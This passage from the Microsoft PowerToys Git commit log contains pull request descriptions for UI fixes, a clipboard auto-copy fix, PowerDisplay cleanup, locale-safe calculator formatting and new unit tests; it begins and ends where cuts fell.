- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

---------

Co-authored-by: Yu Leng (from Dev Box) <yuleng@microsoft.com>
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-17 08:41:14 +00:00
moooyo
beddc3b065 [ImageResizer] Fix JsonPropertyName forwarding in ObservableProperty generator (#47056)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
This issue introduced by our recent WinUI 3 migration

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #47055
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

Co-authored-by: Yu Leng <yuleng@microsoft.com>
Co-authored-by: Claude Opus 4 <noreply@anthropic.com>
2026-04-17 15:20:45 +08:00
Niels Laute
088da21a70 Update default module states (#47027)
## Summary

- **Disable 7 modules by default** for new users: PowerToys Run, Crop
and Lock, Advanced Paste, Hosts File Editor, Registry Preview,
Environment Variables, Workspaces
- **Swap default hotkeys**: Command Palette now defaults to \Alt+Space\,
PowerToys Run now defaults to \Win+Alt+Space\
- Update unit test to reflect PowerLauncher default-off state

## Changes

| File | Change |
|------|--------|
| \EnabledModules.cs\ | Set 7 module defaults to off |
| \PowerLauncherProperties.cs\ | Default hotkey → \Win+Alt+Space\ |
| \SettingsModel.cs\ (CmdPal) | Default hotkey → \Alt+Space\ |
| \General.cs\ (test) | Assert PowerLauncher is false |

## Validation

- Existing unit test updated to match new defaults
- No ABI or IPC contract changes

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-16 08:44:25 +02:00
Gordon Lam
befb5c672e Fix AdvancedPaste auto-copy failing on Electron/Chromium apps (#46486)
## Summary

Fixes #46485

AdvancedPaste's auto-copy feature fails on Electron/Chromium-based apps
(e.g. Microsoft Teams, VS Code, browsers) because `WM_COPY` is delivered
successfully but silently ignored by these apps.

## Problem

The auto-copy code sends `WM_COPY` via `SendMessageTimeout`. For
standard Win32 controls this works, but Electron apps accept the message
delivery without actually copying to clipboard. The code treated
successful delivery as success and **never fell back to `SendInput`
Ctrl+C**.

## Changes


**`src/modules/AdvancedPaste/AdvancedPasteModuleInterface/dllmain.cpp`**:

- **Changed retry logic**: Each attempt now tries both `WM_COPY` and
`SendInput` Ctrl+C. If `WM_COPY` is delivered but clipboard is
unchanged, it falls through to Ctrl+C instead of giving up.
- **Extracted `poll_clipboard_sequence()` helper**: Reusable clipboard
polling logic (checks `GetClipboardSequenceNumber` over N polls with
configurable delay).
- **Extracted `send_ctrl_c_input()` helper**: Sends Ctrl+C via
`SendInput` with `CENTRALIZED_KEYBOARD_HOOK_DONT_TRIGGER_FLAG`.
- **Improved logging**: Each strategy logs clearly whether it succeeded
or fell through, making future debugging easier.

## Validation

- [x] Manual testing with Microsoft Teams (Electron): auto-copy now
works for selected text
- [x] Standard Win32 apps (Notepad, etc.): `WM_COPY` still works on
first try, no regression
- [x] No new warnings or errors in build

---------

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-16 10:49:40 +08:00
Niels Laute
578554d157 [Settings] Format last update check date with friendly relative dates (#46923)
## Summary

Formats the Last checked date on the General and Dashboard pages with
friendly relative strings instead of raw date/time output.

**Before:** Last checked: 4/12/2026 1:22:00 PM
**After:** Last checked: Today at 1:22 PM / Yesterday at 3:45 PM

### Changes

- Add LastCheckedDateTime property to UpdatingSettings exposing the
parsed DateTime
- Create FriendlyDateHelper in Settings.UI that formats Today/Yesterday
with localized resource strings, falling back to the full
culture-specific format for older dates
- Update GeneralViewModel and CheckUpdateControl to use the friendly
format
- Add localized resource strings General_LastCheckedDate_TodayAt and
General_LastCheckedDate_YesterdayAt

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-15 10:06:10 +02:00
Gordon Lam
e4f98897ce Add window positioning and sizing with Alt+mouse button (#47024)
Re-creation of #46817 from an internal branch to work around stale
code-scanning merge protection.

## Original PR
See #46817 for full context, discussion, and review history.

## Summary
This adds a new toy, GrabAndMove (previously WinPos), that allows
dragging (left click) or resizing (right click) of windows while the Alt
key is pressed.

Closes: #269

## PR Checklist
- [x] Communication: discussed with core contributors
- [ ] Tests: Added/updated and all pass
- [ ] Localization: All end-user-facing strings can be localized
- [ ] Dev docs: Added/updated

---------

Co-authored-by: foxmsft <foxmsft@hotmail.com>
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Co-authored-by: Muyuan Li (from Dev Box) <muyuanli@microsoft.com>
Co-authored-by: Niels Laute <niels.laute@live.nl>
Co-authored-by: Alex Mihaiuc <amihaiuc@microsoft.com>
2026-04-15 09:13:56 +02:00
Muyuan Li
be1e749574 Add telemetry support for CLI modules (#46872)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
This PR adds comprehensive localization and telemetry support to the
modules with CLI (FileLocksmith, Awake, ImageResizer), improving user
experience for international users and enabling usage tracking for
product insights.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-04-15 14:14:12 +08:00
Niels Laute
dc57d22754 [Settings] Fix Dashboard layout and 1px alignment offset (#46922)
## Summary

Fixes layout issues on the Settings Dashboard page:

- **Scroll area fix**: The scroll area on the Home page extended far
beyond the content, leaving a large empty space below the modules list.
(By wrapping the quick launch / shortcuts cards into a `StackPanel` vs
separate `Grid.Rows`
- **Resizing fix**: On main, resizing states are not applied when making
the window smaller. This is now fixed.
- **1px alignment fix**: Fixed a 1-pixel vertical alignment mismatch on
the Dashboard shortcut conflict control.

Closes #45925
Closes #41523
2026-04-14 15:30:29 +02:00
moooyo
99ef5948b0 [PD] Fix thread safety, color temperature guard, and log accuracy (#47008)
Mark _disposed and _isDirty as volatile for correct cross-thread
visibility. Guard color temperature apply/restore behind
ShowColorTemperature to avoid writing unsupported VCP codes. Fix
misleading log message in Settings UI profile apply path.

<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

Co-authored-by: Yu Leng (from Dev Box) <yuleng@microsoft.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-14 08:49:54 +00:00
Niels Laute
218a01c1a9 Fix for back up folder path being clipped (#46920)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

Before:
<img width="661" height="530" alt="image"
src="https://github.com/user-attachments/assets/b77c12b2-481f-4f77-8f74-fa679331a604"
/>

After:
<img width="678" height="365" alt="image"
src="https://github.com/user-attachments/assets/ea997ab6-f1f5-4191-ac24-15885b2e19d3"
/>

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #27366
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

---------

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-14 10:23:58 +02:00
Niels Laute
1c7f3d832c [Text Extractor] Remove WPF-UI in favor of Fluent theming in WPF (#46218)
Replaces the `WPF-UI` dependency in Text Extractor with native WPF
Fluent theming (`ThemeMode="System"`), custom
`SubtleButtonStyle`/`SubtleToggleButtonStyle` control templates, and
Segoe Fluent Icons font — eliminating the third-party library while
retaining light/dark theme support.

## Summary of the Pull Request

- Drops `xmlns:ui` (WPF-UI) from `App.xaml` and `OCROverlay.xaml`
- Removes `Wpf.Ui.Appearance.SystemThemeWatcher.Watch()` call; replaced
by `ThemeMode="System"` on `<Application>`
- Defines inline `SubtleButtonStyle` and `SubtleToggleButtonStyle` using
WinUI-aligned resource brush names (`SubtleFillColorSecondaryBrush`,
`AccentFillColorDefaultBrush`, etc.)
- Replaces `<ui:SymbolIcon>` with `<TextBlock
FontFamily="{DynamicResource SymbolThemeFontFamily}">` using Unicode
glyph codes
- Background uses `SolidBackgroundFillColorBaseBrush` instead of
`ApplicationBackgroundBrush`

| Light | Dark |
|-------|------|
|
![light](https://github.com/user-attachments/assets/dc03fdb3-3ef4-4f18-8352-c58fbdd19dd5)
|
![dark](https://github.com/user-attachments/assets/38fdbd6a-53cb-410d-8486-92927019be2a)
|

## PR Checklist

- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

## Detailed Description of the Pull Request / Additional comments

Related: #46220

## Validation Steps Performed

Verified light and dark themes render correctly with proper accent
highlight on the active toggle button.

---------

Co-authored-by: Joe Finney <josephfinney@LIVE.COM>
Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: niels9001 <9866362+niels9001@users.noreply.github.com>
2026-04-14 14:37:27 +08:00
moooyo
ff87dce4a4 [PD] Clean up PowerDisplay: fix resource leaks, remove dead code, and fix some bugs (#46979)
- Replace custom GetLastError P/Invoke with Marshal.GetLastWin32Error
and add SetLastError=true
- Fix resource leaks: dispose DpiSuppressor on window close, dispose
MonitorViewModels on refresh, destroy unused small icon handle, wrap WMI
outParams in using block
- Remove unused code: IProfileService, ColorTemperatureHelper,
ProfileHelper (Lib), CustomVcpValueMappingExtensions, IPCMessageAction,
UpdatePropertySilently, LocalizedCodeNameProvider, bring_to_front,
Constants.h
- Convert recursive MccsCapabilitiesParser.TryParseEntry to iterative
loop
- Simplify ProfileService to static class
- Use std::atomic for m_enabled flag in module interface
- Change default activation shortcut to Win+Ctrl+Shift+P
- Add null-coalescing fallback for ActivationShortcut property
- Add PowerDisplay to ModuleHelper name mapping
- Update GPO policy to target PowerToys 0.99.0
- Fix NamedPipeProcessor to break on pipe close and reduce log verbosity
- Add ShortcutControl workaround in Settings UI

<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [x] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

Co-authored-by: Yu Leng <yuleng@microsoft.com>
Co-authored-by: Claude Opus 4 <noreply@anthropic.com>
2026-04-13 18:00:04 +00:00
Jiří Polášek
758a60103c CmdPal: Include new transitive dependencies in SLNF (#46896)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

This PR adds new transitive dependencies to Command Palette’s SLNF (UI
tests -> UITestAutomation -> ...), and introduces a new SLNF that
excludes UI tests entirely, making it leaner.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-04-13 11:47:25 -05:00
Copilot
f8cadbf7f0 Fix AlwaysOnTop sound playing when pin/unpin fails (#46910)
## Summary of the Pull Request

`ProcessCommand` played the pin/unpin sound unconditionally, regardless
of whether `SetWindowPos` succeeded. This caused spurious audio feedback
when targeting desktop, taskbar, task view, start menu, or elevated
windows from a non-elevated process.

Gate sound playback on actual state change:

```cpp
bool stateChanged = false;
// ...
if (UnpinTopmostWindow(window)) { stateChanged = true; /* ... */ }
// ...
if (PinTopmostWindow(window))   { stateChanged = true; /* ... */ }
// ...
if (stateChanged && AlwaysOnTopSettings::settings()->enableSound)
    m_sound.Play(soundType);
```

## PR Checklist

- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

## Detailed Description of the Pull Request / Additional comments

`PinTopmostWindow` and `UnpinTopmostWindow` already return `bool`
indicating success, and the existing code already branches on those
return values for bookkeeping and telemetry — but the sound playback at
the end of `ProcessCommand` ignored the result. Added a `stateChanged`
flag set only inside the success branches, then checked before calling
`m_sound.Play()`.

## Validation Steps Performed

- Verified that the `soundType` / `stateChanged` logic covers all four
paths: pin success, pin failure, unpin success, unpin failure.
- Code review passed with no comments.

---------

Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: niels9001 <9866362+niels9001@users.noreply.github.com>
2026-04-13 12:53:06 +02:00
Niels Laute
0819a6268b [CmdPal] Move dev docs to doc/devdocs/modules/cmdpal (#46926)
## Summary

Move Command Palette developer documentation from
\src/modules/cmdpal/doc\ to \doc/devdocs/modules/cmdpal\, consistent
with the location of other module dev docs.

Also updates the spell-check exclude path for the moved \.pdn\ file.

Points 2 and 3 from the issue (extension settings how-to and details
pane markdown documentation) are addressed in the windows-dev-docs-pr
repo.

Closes #38107

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-12 12:33:30 -05:00
Niels Laute
a31f82fcbd [CmdPal] Fix Window Walker 'Not Responding' tag illegible in dark mode (#46924)
## Summary

The 'Not Responding' tag in Window Walker used a hardcoded crimson
foreground color (rgb 220,20,60) that was illegible against the dark tag
background in dark mode.

**Fix:** Remove the hardcoded color override so the tag uses the default
theme-aware TagForeground brush, which is legible in both light and dark
modes.

Closes #40219

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-12 12:32:49 -05:00
Copilot
daeb2e1ef4 Fix CmdPal Calc extension unit test failure in non-English cultures (#46911)
## Summary of the Pull Request

`TrigModeSettingsTest` fails under cultures using `,` as decimal
separator (e.g., `de-DE`, `fr-FR`). Two root causes: the C++ calculator
engine's `ToWStringFullPrecision` doesn't pin the stream locale, and the
test classes don't set a deterministic thread culture.

## PR Checklist

- [x] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated

## Detailed Description of the Pull Request / Additional comments

**C++ locale fix** — `ExprtkEvaluator.cpp`: `std::wostringstream`
defaults to the global C++ locale, which can be changed to the system
locale by the runtime. Pin it to `std::locale::classic()` so the decimal
separator is always `.` across the WinRT boundary:

```cpp
std::wostringstream oss;
oss.imbue(std::locale::classic());
oss << std::fixed << std::setprecision(15) << value;
```

**Test culture setup** — `QueryTests.cs`, `QueryHelperTests.cs`: Added
`TestInitialize`/`TestCleanup` to set thread culture to `en-US`,
matching the existing pattern across all TimeDate test classes.

**Non-English culture test cases** — New
`TrigModeSettingsTest_NonEnglishCulture` parameterized over `de-DE` and
`fr-FR` verifies `outputUseEnglishFormat: true` produces `.`-separated
output regardless of `CurrentCulture`.

## Validation Steps Performed

- Code review passed with no actionable findings (naming convention
matches existing TimeDate test pattern across 7+ files)
- New `TrigModeSettingsTest_NonEnglishCulture` test exercises the exact
failure scenario from the issue

---------

Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: niels9001 <9866362+niels9001@users.noreply.github.com>
2026-04-12 14:12:34 +02:00
moooyo
0089de33bd [PD] Re-enable PowerDisplay (#46489)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
1. Re-enable PowerDisplay for PowerToys.
2. Add PowerDisplay back into installer.
3. Use new PowerDisplay icon and logo.
4. Fix some DPI related issue.
5. UI/UX improvement.


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #1052
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [x] **Tests:** Added/updated and all pass
- [x] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Pull new code from this branch. Set up PowerDisplay.UI as startup
project. Click run in VS.

Or, build whole solution, set up runner as startup project. Click run to
test full experience.

---------

Co-authored-by: Yu Leng (from Dev Box) <yuleng@microsoft.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Co-authored-by: Niels Laute <niels.laute@live.nl>
2026-04-10 15:14:41 +08:00
Copilot
3e2914a0b2 Add unit tests for Hosts ValidationHelper and ColorPicker format conversions (#46679)
## Summary of the Pull Request

Adds comprehensive unit tests for two previously untested areas to
improve test coverage and prevent regressions:

1. **Hosts ValidationHelper** (`ValidationHelperTest.cs`) — 25+ test
cases covering `ValidIPv4`, `ValidIPv6`, and `ValidHosts` methods
2. **ColorPicker ColorFormatHelper conversions**
(`ColorFormatConversionTest.cs`) — 50+ test cases covering CMYK, HSB,
HSI, HWB, CIE XYZ, CIE LAB, Oklab, Oklch, sRGB-to-linear, NCol
conversions, plus expanded `GetStringRepresentation` tests for Red,
White, Green, and Blue colors across all supported formats

## PR Checklist

- [x] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized —
N/A (test-only changes)
- [ ] **Dev docs:** Added/updated — N/A (test-only changes)
- [ ] **New binaries:** Added on the required places — N/A (no new
binaries)

## Detailed Description of the Pull Request / Additional comments

### Hosts ValidationHelper
(`src/modules/Hosts/Hosts.Tests/ValidationHelperTest.cs`)
- Tests `ValidIPv4` with valid addresses (loopback, private ranges,
broadcast), invalid addresses (out of range octets, wrong format, CIDR
notation), and null/whitespace inputs
- Tests `ValidIPv6` with valid addresses (loopback, full/compressed
notation, link-local, IPv4-mapped), invalid addresses (extra groups,
invalid hex digits), and null/whitespace inputs
- Tests `ValidHosts` with valid hostnames, FQDNs, max host count
boundary (using `Consts.MaxHostsCount` dynamically for both
exact-boundary and exceeds-boundary tests), and invalid hostnames

### ColorPicker Format Conversions
(`src/modules/colorPicker/ColorPickerUI.UnitTests/Helpers/ColorFormatConversionTest.cs`)
- Tests `ConvertToCMYKColor` for Black, White, Red, Green, Blue, and Mid
Gray
- Tests `ConvertToHSBColor`, `ConvertToHSIColor`, `ConvertToHWBColor`
for primary colors
- Tests `ConvertToCIEXYZColor` and `ConvertToCIELABColor` including D65
illuminant verification and negative b* assertion for Blue
- Tests `ConvertToOklabColor` and `ConvertToOklchColor` including chroma
non-negativity
- Tests `ConvertSRGBToLinearRGB` for linear and gamma paths
- Tests `ConvertToNaturalColor` for hue letter mapping (R exact match, G
and B prefix assertions)
- Tests `GetStringRepresentation` with Red, White, Green, Blue across
all 11+ format types (Decimal values use BGR byte order via `%Dv`
format: Red → "255", Blue → "16711680")
- Tests `GetDefaultFormat` returns non-empty strings for all known
format names
- Tests edge cases: empty/null format strings defaulting to hex output

### Spell-check allow list
- Added `SRGBTo` to `.github/actions/spell-check/allow/code.txt` to
resolve unrecognized-spelling alerts

### StyleCop / code analysis fixes
- Resolved SA1512, SA1515, CA1866, and CA1310 analyzer warnings to
comply with repo coding standards

### Code review fixes
- Renamed `ConvertToCIELAB_Blue_HasNegativeA` →
`ConvertToCIELAB_Blue_HasNegativeB` with corrected comment to match the
actual b* axis assertion
- Replaced hardcoded 12-host string with dynamic `Consts.MaxHostsCount +
1` in the exceeds-max-count boundary test
- Renamed `ConvertToNaturalColor_Green_ReturnsG0` →
`ConvertToNaturalColor_Green_HueStartsWithG` and
`ConvertToNaturalColor_Blue_ReturnsB0` →
`ConvertToNaturalColor_Blue_HueStartsWithB` to accurately reflect
prefix-only assertions

## Validation Steps Performed

- Verified test files follow existing MSTest patterns (`[TestClass]`,
`[TestMethod]`, `[DataTestMethod]`, `[DataRow]`)
- Verified all referenced classes and methods exist and are accessible
(correct namespaces and visibility)
- Verified namespace consistency with existing test files in each
project
- Used dynamic `Consts.MaxHostsCount` rather than hardcoded values for
